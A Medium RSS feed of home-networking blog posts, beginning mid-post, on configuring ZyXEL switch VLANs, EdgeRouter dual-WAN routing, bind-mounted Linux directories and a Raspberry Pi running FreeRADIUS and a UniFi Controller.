through here, and it became confusing. I also found out that the user guide is not good at explaining this section, searching on the Internet resulted in a little help.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RO6xFwybbvNtCh5h-ZgZWw.png" /><figcaption>The section that allows to further configure the VLANs, such as the name</figcaption></figure><p>There are three tabs; the first shows the configured VLANs on the switch and their names. You can add, remove, and rename the VLANs.<br>The second tab, allows you to configure certain aspects of the port, but the user guide, again, shows the lack of detail. You can set the trunk option for the respective ports and what type of traffic is allowed, such as only allowing tagged traffic or untagged, as well as the PVID for any untagged traffic that goes through the port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLyTjuobdWTdmLAbEB3XPQ.png" /><figcaption>The second tab allows to configure Trunk ports and other settings for each port</figcaption></figure><p>The third tab, allows you to forbid, exclude, tag, or untag ports for each of the VLANs that exist in the configuration. Unlike the wizard, this section does not have a nice graphical layout and instead relies on a table with radio buttons and showing one VLAN at a time, which is selected from the drop down at the top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*EdmKeV-Rn3-oKPU_zrJ9cA.png" /><figcaption>Configure the port membership to each of the VLANs</figcaption></figure><p>I feel that the forbidden and the excluded options do the same, but there is a difference, according to the user guide. The forbidden option does not allow the port to join the VLAN, while the excluded option removes the port from the VLAN, either option prevents a tagged or untagged packet from going through that VLAN.</p><p>The tagged option looks for the tag in the packet and only passes the packet to that VLAN if the matches the ID. The untagged option sets the VLAN ID tag on a packet that does not have it.</p><p>As an example, as I feel this explains it better, say we have 4 VLANs, and the device connected to port 8 should only access VLAN 2 and 3, but not 1 and 4. In the VLAN Port tab, select each of the VLANs from the drop down at the top, for the VLAN 1 and 4 set the port to either forbidden or excluded, for the VLAN 2 set it to tagged, and for the VLAN 3 set it to untagged. What this means is that if the device were to send any packets tagged with the VLAN ID 1 or 4, it gets dropped at the switch. If the packet contains the ID 2, then it is passed to that VLAN, and if it does not have any tags, then it is passed to the VLAN 3.</p><p>Keeping in mind that not all devices or network cards support VLANs, and this does not apply to wifi, then you want to configure the switch to tag the packets going through that port. For example, an Apple TV does not allow to set the tag in the configuration; then you set the tagging of the traffic on the switch.</p><p>Do try not to have more than one VLAN set as untagged on a single port, not sure what that would happen, but does not make sense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b1eecd0632" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/vlans-and-the-zyxel-gs1900-16-6b1eecd0632">VLANs and the ZyXEL GS1900–16</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EdgeRouter Lite: Multiple VLAN and WAN]]></title>
            <link>https://medium.com/code-beta-blog/edgerouter-lite-multiple-vlan-and-wan-62bf1a31650e?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/62bf1a31650e</guid>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[route-table]]></category>
            <category><![CDATA[ubiquiti]]></category>
            <category><![CDATA[edgerouter]]></category>
            <category><![CDATA[vlan]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Thu, 29 Dec 2016 02:57:36 GMT</pubDate>
            <atom:updated>2016-12-29T02:57:36.228Z</atom:updated>
            <content:encoded><![CDATA[<p>In this instance, I’ll be going over setting up the EdgeRouter Lite on a network with multiple VLANs and also with dual WAN, but not for load balancing. The setup includes some VLANs going through one WAN and others going through the second WAN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3R1BDdI6BFy8yuYVAiBqQ.jpeg" /></figure><p>For this setup, the two WAN connections are the ISP and a VPN connection. This setup would still work if it were two ISP connections.</p><h3>Setting up the VLANs</h3><p>Because this configuration uses the <em>router on a stick</em> style, we setup a VLAN for the WAN connection</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/67e045b3e1d7bcd1f0d357dac68fe9ac/href">https://medium.com/media/67e045b3e1d7bcd1f0d357dac68fe9ac/href</a></iframe><p>The above commands create the VLAN90, which I use for the connection to the cable modem.</p><p>For the rest of the VLANs we use the commands below, just replace <em>eth0</em> with the interface you’re setting them up on</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6824939d5519b7e2a835fc9a1269307d/href">https://medium.com/media/6824939d5519b7e2a835fc9a1269307d/href</a></iframe><p>The IP for the VLAN 10, for example, would be on the subnet 10.0.10.0/27, which means that we would have the range from 10.0.10.1 to 10.0.10.30 available to use.</p><p>At this point, we completed the VLAN configuration. If more VLANs are needed, just repeat the above commands and change the <em>vif</em> number. We need to create the DHCP service for each VLAN we create</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/038341f5dca83ead7d0932a3c5ef1ce8/href">https://medium.com/media/038341f5dca83ead7d0932a3c5ef1ce8/href</a></iframe><h3>Connect to OpenVPN server</h3><p>For this setup, I’m using a VPN service, but only some VLANs will connect to the Internet through this connection and the others will go through the ISP.</p><p>First, create or upload the ovpn configuration file to the <em>/config</em> directory of the EdgeRouter, this directory isn’t wiped with firmware upgrades, so you won’t have to set it up again.</p><p>Once the configuration file exist in the respective directory, then add the interface configuration</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2810c91e2ba977cab6d64aaca79bc30d/href">https://medium.com/media/2810c91e2ba977cab6d64aaca79bc30d/href</a></iframe><p>Adding a description is always optional, but helpful in the long run.</p><p>After adding the necessary configuration and saving the changes, the router will try to connect to the OpenVPN server and all of the Internet traffic will be routed through there.</p><h3>Source Based Routing</h3><p>At this point, we have the ISP and OpenVPN routes to access the Internet, but by default, only the OpenVPN is used, meaning that all traffic is encrypted. Some people would want this behavior, but there are cases where it isn’t necessary.</p><p>First, we want to make sure that routing between the VLANs is still possible. If the configuration below isn’t added, then communication between the VLANs won’t take place. Let’s create a group with all of the subnets that can communicate between each other</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e50a7b4ee617dd0f7759af2b1ce47360/href">https://medium.com/media/e50a7b4ee617dd0f7759af2b1ce47360/href</a></iframe><p>To make your life easier in the long run, I would recommend that you create two other groups that contain the subnets that should be routed via the unencrypted ISP Internet connection and those that should go through the encrypted VPN connection.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7462d6eda03bb3fbccc69e43facf9e06/href">https://medium.com/media/7462d6eda03bb3fbccc69e43facf9e06/href</a></iframe><p>I had an issue with the above routing and took me a while to resolve. So I want to go over the configuration.</p><p>The <em>Rule 10</em> is important that it be the first and this is because it allows for the router to correctly send the packets between the subnets. Without this rule, the VLANs won’t be able to communicate. If you want to completely isolate the different networks, then just skip adding that rule. Notice that it modifies the <em>main</em> table, unlike the other two rules that modify a different table.</p><p>The other two rules are for routing VLANs through the VPN and the ISP. Notice the <em>modify table</em> part, this is a table that we also need to create using the commands below</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ed86a4fbce7bbb6bcba0bb3a776592d1/href">https://medium.com/media/ed86a4fbce7bbb6bcba0bb3a776592d1/href</a></iframe><p>This table establishes the routes to take, so in each case you want to find the gateway, or router, or peer IP.</p><p>For the case of the ISP connection I check the dhcp client lease by running the command <em>show dhcp client leases</em> and using the IP shown in the <em>router</em> field.</p><p>For the case of the VPN, I checked the interface using the command <em>show interfaces detail</em> and using the IP in the <em>peer</em> field.</p><p>The last step in this process is to add this rule to the interfaces, the rule is added using the command below</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4706d24de75fdf012bef79ca066f75b0/href">https://medium.com/media/4706d24de75fdf012bef79ca066f75b0/href</a></iframe><p>Just be sure to add that entry to each of the interfaces that you want to have the routing rule applied, it would be best to add it to all of the interfaces.</p><p>That is all that is needed. In future posts I will talk about the Zone Policy for the Firewall.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62bf1a31650e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/edgerouter-lite-multiple-vlan-and-wan-62bf1a31650e">EdgeRouter Lite: Multiple VLAN and WAN</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Home Network with multiple VLANs]]></title>
            <link>https://medium.com/code-beta-blog/home-network-with-multiple-vlans-5135fe8f1d1a?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/5135fe8f1d1a</guid>
            <category><![CDATA[router-on-a-stick]]></category>
            <category><![CDATA[vlan]]></category>
            <category><![CDATA[home-network]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Mon, 26 Dec 2016 20:16:34 GMT</pubDate>
            <atom:updated>2016-12-26T20:16:39.485Z</atom:updated>
            <content:encoded><![CDATA[<p>At one point I had a regular network at home, which only had a single LAN with all devices on the same network, but after watching several videos about VLAN setups I wanted to configure one in my network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Z89YqSr3HIyNHttXeCzdw.jpeg" /></figure><p>I grabbed the <a href="http://www.zyxel.com/us/en/products_services/gs1900_series.shtml?t=p&amp;tabOrder=2">ZyXEL GS1900–16</a> since it was quite inexpensive and saw a couple of good reviews. For the router, I’m using the <a href="https://www.ubnt.com/edgemax/edgerouter-lite/">Ubiquit EdgeRouter Lite</a> that I had <a href="https://codebeta.com/new-network-hardware-3e8a8ddbf0f9#.4p4sc2eup">previously gotten</a>.</p><p>I still have to connect and configure a couple of devices and change the cables, but it has been an interesting learning experience, and little documentation appears to exist regarding some issues I encountered.</p><p>The router is handling the routing, obviously, between the VLANs that were created and is a <em>router on a stick</em> setup. All of the devices, even the cable modem, get connected to the switch. The diagram below shows how I setup my network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*rI3gZEQ9ynARnTks0UK5fQ.png" /></figure><p>The VLAN 10 through 30 are user networks. But why would I need three user networks in a two person home? Well the VLAN 30 is for guests and doesn’t have access to any other network. The VLAN 10 connects to the Internet via the ISP, and the VLAN 20 connects via the VPN.</p><p>VLAN 40 is for DMZ as I plan to have SSH access to my home network at some point in the future. VLAN 50 is where all of the servers live. Also, the Apple TV and the Airport Express reside here. I might move the Apple TV and Airport Express to another VLAN in the future.</p><p>VLAN 60 is where all of the management of the network infrastructure takes place; this network has limited access to every other VLAN to prevent as much harm as possible.</p><p>VLAN 90 is created to house the ISP cable modem and to have it connected to the switch. This setup allows me to enable port mirroring on the switch and attach another device that can capture all of the packets between the router and the modem for monitoring, such as Intrusion Detection Systems, or for troubleshooting a connectivity issue.</p><p>I also grabbed the console cable and configured the EdgeRouter Lite through the serial console; this guarantees that I’m able to access the device during configuration. The ZyXEL switch also has a serial console port, but unfortunately, they left it inside, and it’s not easily accessible as you need to open the device.</p><p>In the following posts, I will go into the details of configuring each of the devices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5135fe8f1d1a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/home-network-with-multiple-vlans-5135fe8f1d1a">Home Network with multiple VLANs</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bind Linux Directories]]></title>
            <link>https://medium.com/code-beta-blog/bind-linux-directories-276148126f7a?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/276148126f7a</guid>
            <category><![CDATA[system-administration]]></category>
            <category><![CDATA[storage]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Tue, 17 May 2016 18:20:31 GMT</pubDate>
            <atom:updated>2016-05-17T18:19:45.473Z</atom:updated>
            <content:encoded><![CDATA[<p>I wanted to move the /var and /home directories from the MicroSD to a USB flash drive, this because those are the two directories that see much more movement and that could benefit from being moved away from the MicroSD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1coDVZ2xLdY5Co0N10Q4Q.jpeg" /></figure><p>It’s really easy to have the directories in a different partition but I didn’t want to partition a single USB thumb drive or have two thumb drives for each directory so I looked into having the directories in one partition, this can be achieved with binding.</p><p>First, create the partition on the desired thumb drive</p><blockquote>$ sudo <em>mkfs.ext4 -O ^has_journal /dev/sdxn</em></blockquote><p>This creates the <em>ext4</em> partition in the thumb drive without journaling which lowers the amount of reads and writes that is done to the drive.</p><p>Once you have the partition created and mounted, create the directories you want to move to the drive, in my case I created <em>home</em> and <em>var</em> so I ran the following commands</p><blockquote>$ sudo mkdir /mnt/usb/var</blockquote><blockquote>$ sudo mkdir /mnt/usb/home</blockquote><p>Because I’m creating this on a system that hasn’t been fully setup yet, I don’t have anything on <em>home</em> thus no need to copy over anything from there, but <em>var</em> does have some files that need to be copied over, so I ran this command</p><blockquote>$ sudo cp -ax /var/* /mnt/usb/var</blockquote><p>After the copying process is completed you can check the directory to see everything that was copied over. As an extra step I created an empty file in each directory and named it <em>notusb</em> this with the sole purpose of knowing when the directory isn’t mounted.</p><p>You could either leave the directories as they are or completely remove them, which is something that would be advised in case you want to have that space available. I decided to leave them.</p><p>Once you’ve copied everything over you can edit <em>fstab</em> to have everything mount during boot time, so use your favorite file editor and add the following line</p><blockquote>/mnt/usb/var /var none bind</blockquote><p>I also added another line for the <em>home</em> but you get the idea. It will be necessary to first mount the drive before trying to mount as it wouldn’t make sense otherwise, so be sure to add the drive to the <em>fstab</em> as well.</p><p>You want to obtain the UUID of the partition as it makes it easier to mount that specific partition and not have another device get mounted because of some issue. To do this run the following command</p><blockquote>$ sudo blkid | grep /dev/sdxn</blockquote><p>Where <em>sdxn</em> is the same one used on the command above to create a partition. This should return one line with the UUID of the partition, if it doesn’t then just run the <em>blkid </em>command and look at all of the output given.</p><p>You should see a line like</p><blockquote>/dev/sda1: UUID=”f6e6oe58–467c-ae79-9cf4–000199562b81&quot; TYPE=”ext4&quot; PARTUUID=”fe096750–02&quot;</blockquote><p>You would grab the <em>UUID</em> value without the quotes and place it in the <em>fstab</em> in the line where you establish the mount point for the drive</p><blockquote>UUID=f6e6oe58–467c-ae79–9cf4–000199562b81 /mnt/usb ext4 defaults,noatime 0 0</blockquote><p>At this point you should be set and would be just a matter of mounting everything manually, but if you can reboot then I would recommend going that route as you will verify that the mounting will be carried out accordingly during boot up of the device.</p><p>I check if the file <em>notusb</em> exists in either directory and if it doesn’t then it means that everything worked accordingly and I can continue working on setting up the system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=276148126f7a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/bind-linux-directories-276148126f7a">Bind Linux Directories</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Raspberry Pi Image]]></title>
            <link>https://medium.com/code-beta-blog/creating-a-raspberry-pi-image-81d5768b8a5d?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/81d5768b8a5d</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[filesystem]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Mon, 02 May 2016 21:42:20 GMT</pubDate>
            <atom:updated>2016-05-02T21:42:06.896Z</atom:updated>
            <content:encoded><![CDATA[<p>As with a lot of things, there are a million ways to do something and it all depends on who you ask. So knowing that flash memory has a certain amount of read and write cycles, I wondered what would be a good file system to use on a thumb drive and eventually on a Micro SD card and that lead to me creating a custom image for my Raspberry Pi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjmtU3rKAx6CEVVQdY8nyg.jpeg" /></figure><p>There are some images that are somewhat complex to make as this isn’t always straightforward unless you’ve done it before or depending what the image is being built for.</p><p>As to why I’m building a custom one, well it goes back to the file system. To reduce the amount of read and writes to the flash media some people I consulted with suggested going with <em>ext4</em> but not using the journaling feature, so the thumb drives that I’m using specifically with the Raspberry Pi were formatted using the command</p><blockquote># mkfs.ext4 -O ^has_journal /dev/sdxn</blockquote><p>This formats the partition <em>n</em> in the device <em>sdx</em> with ext4 file system and disables the journaling. The caret (^) character tells the <em>mkfs</em> command to disable the feature that follows it.</p><p>After I ran into a weird issue earlier this week with the Raspberry Pi acting up, it wouldn’t allow remote access and the web server was responding but only throwing 404 errors, I looked into it briefly and the file system being used is ext4 with journaling enabled. That might not be what caused the issue but certainly want to expand the life of the card, so I ended up looking into either disabling journaling or recreating the whole thing with journaling disabled.</p><h4>Creating the Image</h4><p>There are several ways you can go about creating a custom image, in my case I decided to go with a script and found a couple but sadly they aren’t simple to implement.</p><p>I don’t really have a machine running Linux all the time so I have a virtual machine in VMWare running Debian and tried to create an image using <a href="http://plugwash.raspbian.org/build-image">this script</a> but the script is straightforward into making the image and any errors it’s up to the user to resolve.</p><p>Creating the image on a faster machine than the Raspberry Pi is ideal because it will do it in a short amount of time, but if time is no issue then you can create it on the Raspberry Pi itself with the use of this <a href="https://github.com/ShorTie8/my_pi_os">really nice script</a>. This script not only has the option to write the image directly to the SD card once it’s done but it’s easy to configure and customize, plus also creates the EXT4 file system with the journaling disabled.</p><p>The script defaults to a basic image though it creates a 1.3GB file to store the image on. Even if you set it to write to the SD card it still has a failover to a file so that you don’t run the script and install everything to find out that you’ve wasted all that time and resources when it fails to write to the SD card, plus you will be left with a nice image file that you can write to other SD cards.</p><p>Configuring the script isn’t that difficult, just download the script and edit it on your favorite text editor, on your personal machine or on the Raspberry Pi itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVgBkE-YqPyuvXnJmsTxHw.png" /></figure><p>What you’ll want to look at are the first 79 lines of the file which contains the configuration section where you can tell it to write to the SD card once it’s finished creating the image or to just create the image. As well as which repository to use and what packages to install. The script by default installs the very minimal amount of packages but if you’re working on a project that requires certain packages then you’ll want to add them to the list.</p><p>There is also a section to give the root user a password and later on the script there is a section which configures the SSH to allow root login with that password. This script doesn’t create the pi user, so you’ll want to have a good root password and then create a regular user once the image is installed and running.</p><p>Several hours later, if you’re running this on the Model 3, you’ll have a working system with minimal packages or with the software you need.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81d5768b8a5d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/creating-a-raspberry-pi-image-81d5768b8a5d">Creating a Raspberry Pi Image</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Raspberry Pi]]></title>
            <link>https://medium.com/code-beta-blog/raspberry-pi-773503415cc3?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/773503415cc3</guid>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[ubiquiti]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Tue, 26 Apr 2016 14:45:07 GMT</pubDate>
            <atom:updated>2016-04-26T14:44:55.483Z</atom:updated>
            <content:encoded><![CDATA[<p>For a while now I’ve been looking at the single board computers after I began looking into replacing my ageing servers, which aren’t exactly being used to their full capacity but they’re really loud and big which means that I can’t easily move them around if needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvJSfwdtCDSXO31oLLS8YA.jpeg" /><figcaption>Photo by <a href="https://commons.wikimedia.org/w/index.php?title=User:Onepiece84&amp;action=edit&amp;redlink=1">Onepiece84</a> — from <a href="https://commons.wikimedia.org/wiki/File:Raspberry_PI.jpeg">Wikimedia</a></figcaption></figure><p>I also moved to a small one bedroom apartment which means that it’s somewhat more difficult to have the servers here, though I’m thinking about where to set them up. So looking into smaller hardware I stumbled upon the <a href="https://www.raspberrypi.org/">Raspberry Pi</a> hardware back when the Model B was the latest but I just couldn’t justify owning one.</p><p>A couple of weeks back I heard about Ubiquiti, just around the time I was thinking that I needed to upgrade my hardware from the Linksys WRT54GH that I was using at the time. This small router just wasn’t cutting it anymore. Further looking into the Ubiquiti UniFi hardware it was aparent that I did need to have the UniFi Controller running all the time and also wanted to setup WPA2 Enterprise security for the WiFi, so now I did have the reason to own a Raspberry Pi and the model 3 had just been recently released.</p><h3>Setting up the Raspberry Pi Model 3</h3><p>There are several HowTo posts on installing the Raspian OS on this computer so I won’t go into detail, I went with the headless setup route as I don’t need a desktop running on this device.</p><p>Downloading the latest <a href="https://www.raspberrypi.org/downloads/raspbian/">Raspian OS Lite</a> from the Raspberry Pi site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*WdShZZmPHsizCqPJ.png" /></figure><p>Then writing it to the Micro SD card via <a href="https://sourceforge.net/projects/win32diskimager/">Win32 Disk Imager</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/0*36_CFhX39sT2-Cl0.png" /></figure><p>Everyone will recommend using a Class 10 or better Micro SD card but all I have right now is a 32GB Class 4, it’s a bit slow but not so slow that just kills the experience, but will be replacing it with a faster card at a later point.</p><p>Once the image is written to the memory card just insert it into the Raspberry Pi and connect it to the power supply and let it boot. The boot up time is rather quick so not much of a waiting period.</p><p>Assuming you have access to your router and DHCP setup then it shouldn’t be too difficult to obtain the IP address so that you can SSH into the device. The default setup has the username pi and the password is raspberry and then the first step is to finish configuring the base of the system by running the command sudo raspi-config.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/0*MSQIn1fLDG80Vrln.png" /></figure><p>The base configuration changes I did was to expand the file system so that the whole storage space of the Micro SD card. After that change the user by creating a new user and removing the user pi, to add the user you’ll need to go through the adduser command like any other system and then through the raspi-config utility you can remove the pi user.</p><p>Once this is done you can proceed with setting up the rest of the system.</p><h3>Freeradius</h3><p>For the WPA2 Enterprise, a RADIUS server is required so for this setup I went with the <a href="http://freeradius.org/">Freeradius</a> server as it’s free and not too difficult to setup.<br> For starters run the apt-get update to update the repositories in the Raspberry Pi.</p><p>Installation of the server is also straight forward by running the apt-get install freeradius.</p><p>I’ll delve into the configuration specifics in another post.</p><h3>MySQL</h3><p>There are different options to store the user credentials that are used by the Freeradius server to authenticate the users. The simple one is to go with a plain text file, another option is to go with the MySQL database, and an even more advanced is to go with LDAP server.<br> In this instance I went with the MySQL database because of the simplicity of setting it up and just adding the users.</p><p>Because of the different methods that Freeradius allows for communicating between the device that requests the authentication and the the RADIUS server, not all of them allow for the passwords to be encrypted, which can be a huge issue depending on your paranoia and setup. You can store the passwords in plain text for more compatability between protocols or you can implement the encryption that MySQL has integrated to store the values and then change the commands used by Freeradius to make the queries.</p><p>I will also delve into this subject in a separate post as it makes it easier to dedicate a post to that setup. I’m looking into expanding the setup to include VPN so I might switch over to LDAP instead of MySQL.</p><h3>Ubiquiti UniFi Controller</h3><p>If you’re setting up the UniFi Access Point with just WPA2 Personal then you don’t need to have the UniFi Controller running all the time but having it available allows for several management features.</p><p>The installation is pretty simple as Ubiquiti has the deb packages in a repository that can be <a href="https://community.ubnt.com/t5/UniFi-Wireless/Updated-UniFi-Repo-info-APT-howto/td-p/1288883">added to the aptitude configuration</a>. They also offer the option to download the deb package directly from the site but that doesn’t give the option to easily update it through aptitude package manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/0*Gh6F5N9jAXEYHI6H.png" /></figure><p>Once installed and configured the rest of the seetup is done via the web browser from any other computer that has access to the Raspberry Pi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*T5dz20mdeXPdr0Di.png" /></figure><h3>SSL Certificates</h3><p>I would recommend getting SSL certificates, either self signed or provided by a Certificate Authority, to replace those that come by default with Freeradius and UniFi Controller, not only to eliminate the certificate warning in the web browser but to also control the certificates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/0*eojaQh7tz0TkLfeF.png" /></figure><p>I used the <a href="https://www.startssl.com/">StartSSL</a>, which they have free SSL certificates that can be easily generated and can be used for up to 5 hosts per certificate. Though at first I generated one certificate to use for all of the devices in my network, it would be best, and I’ll be changing that later on, practice to have a different certificate per device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/0*fkCZV5rAyH1ff2wd.png" /></figure><p>Just for the Raspberry Pi setup you’ll need two certificates, though you can easily get away with just one, so that you use one for the UniFi Controller web management page and one for the Freeradius authentication. If you’re going to be setting up a web server on this device then you would also want to get another SSL certificate for that role.</p><p>For the installation of the certificates, the most complex one will be the UniFi Controller as it uses a Keystore for the storage of the files and that needs to be created, I had to use a tool in Windows to create the Keystore. This same process is done for the EdgeRouter Lite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Jrcxv1SUktq6YoIn.png" /></figure><p>For the creation of the keystore I used <a href="http://www.keystore-explorer.org/">KeyStore Explorer</a> and the password is aircontrolenterprise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/0*bdhFOBmQ_Z0GfeOG.png" /></figure><p>This setup is working for my small network and can be easily expanded to maintain more than one UniFi Access Point but if more resources are needed then you can either go with one or more <a href="https://www.ubnt.com/unifi/unifi-cloud-key/">UniFi Cloud Key</a> or install the Unifi Controller software on a VPS.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=773503415cc3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/raspberry-pi-773503415cc3">Raspberry Pi</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[New Network Hardware]]></title>
            <link>https://medium.com/code-beta-blog/new-network-hardware-3e8a8ddbf0f9?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/3e8a8ddbf0f9</guid>
            <category><![CDATA[home-network]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[ubiquiti]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Tue, 26 Apr 2016 14:27:20 GMT</pubDate>
            <atom:updated>2016-04-26T14:27:09.279Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve heard that some people have to replace their consumer wireless networks every year or so, which is amazing as in my case I change them because I want something newer and not because the hardware died.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XsQoul_CYLg_UO_mUwMWgQ.jpeg" /></figure><p>Right now my network setup at home is made up of a single Linksys WiFi router that is barely doing it’s job and it’s so old that I can no longer find it on the Internet and custom firmware, like OpenWRT, doesn’t support it at all. So I decided it was time to upgrade so I began looking into something a bit more powerful and hopefully finally use WPA2 Enterprise for the security.</p><p>I began by looking into PfSense and not wanting to use a full sized computer for the task I checked the hardware they recommend for small fanless setup. During my research into that I stumbled across Ubiquiti and saw their offerings, seeing that it provided really powerful enterprise grade hardware and that it was cheaper than the PfSense hardware I went with that option.</p><p>Because the Access Point requires for the UniFi Controller to exist to fully control it, I finally had the justification I was needing to purchase a Raspberry Pi and the version 3 recently came out so I went with that option.</p><h3>EdgeRouter Lite</h3><p>The <a href="https://www.ubnt.com/edgemax/edgerouter-lite/">EdgeRouter Lite</a> is one of Ubiquiti’s smaller routers and I find it to be quite inexpensive at 99usd. It has 3 ethernet interfaces which can be configured independently or bridged together, some documentation talks against using a bridge, and there’s one RJ45 console port which is a nice feature. I have a console cable but don’t have a device to connect the DB9 connector so I haven’t been able to test it.</p><p>This is definitely not something you can power up and forget about it, this is a device you have to take your time to setup. I managed to set it up in a weekend but it’s just scratching the surface of what it can really do and even ended up running some commands through SSH to finish setting up everything I wanted.</p><p>I could have gone with the EdgeRouter X as it’s cheaper and also has PoE, but it didn’t have the Deep Packet Inspection feature, which I don’t really need but found it really cool and will probably use it later on just for kicks and testing.</p><p>Currently it’s doing NAT, DHCP, and DNS. My network isn’t that big so it won’t generate much of an issue but if it did I would take DHCP and DNS to a Raspberry Pi.</p><h3>UniFi Access Point AC Lite</h3><p>The <a href="https://www.ubnt.com/unifi/unifi-ap-ac-lite/">UniFi AP AC Lite</a> is the less expensive option and my apartment is relatively small so I don’t need the higher end models. It runs for about 89usd.</p><p>This is a device you mount on a wall or a ceiling, so this does present an issue when the apartment is rented as I can’t simply mount it on the wall or ceiling, so I’m left either setting it on the table or looking for a way to paste it to the wall that doesn’t require drilling holes. So this is yet to be defined, however it works perfectly for a small area to have it on top of a table so that will do while I resolve the pasting it to the wall issue.</p><p>The access point itself doesn’t have a web page to configure it so you either need to have an Unifi Controller always running in a separate machine or just install it in your machine to set it up. If there’s no controller always running then the functionality is limited so you definitely want to look into having a controller running most of the time. Personally I haven’t tested this but from what I’ve read the controller needs to be running for WPA2 Enterprise to function correctly, so I have it running in the same machine that the Freeradius server is on.</p><h3>Raspberry Pi 3</h3><p>The <a href="https://www.raspberrypi.org/products/raspberry-pi-3-model-b/">Raspberry Pi 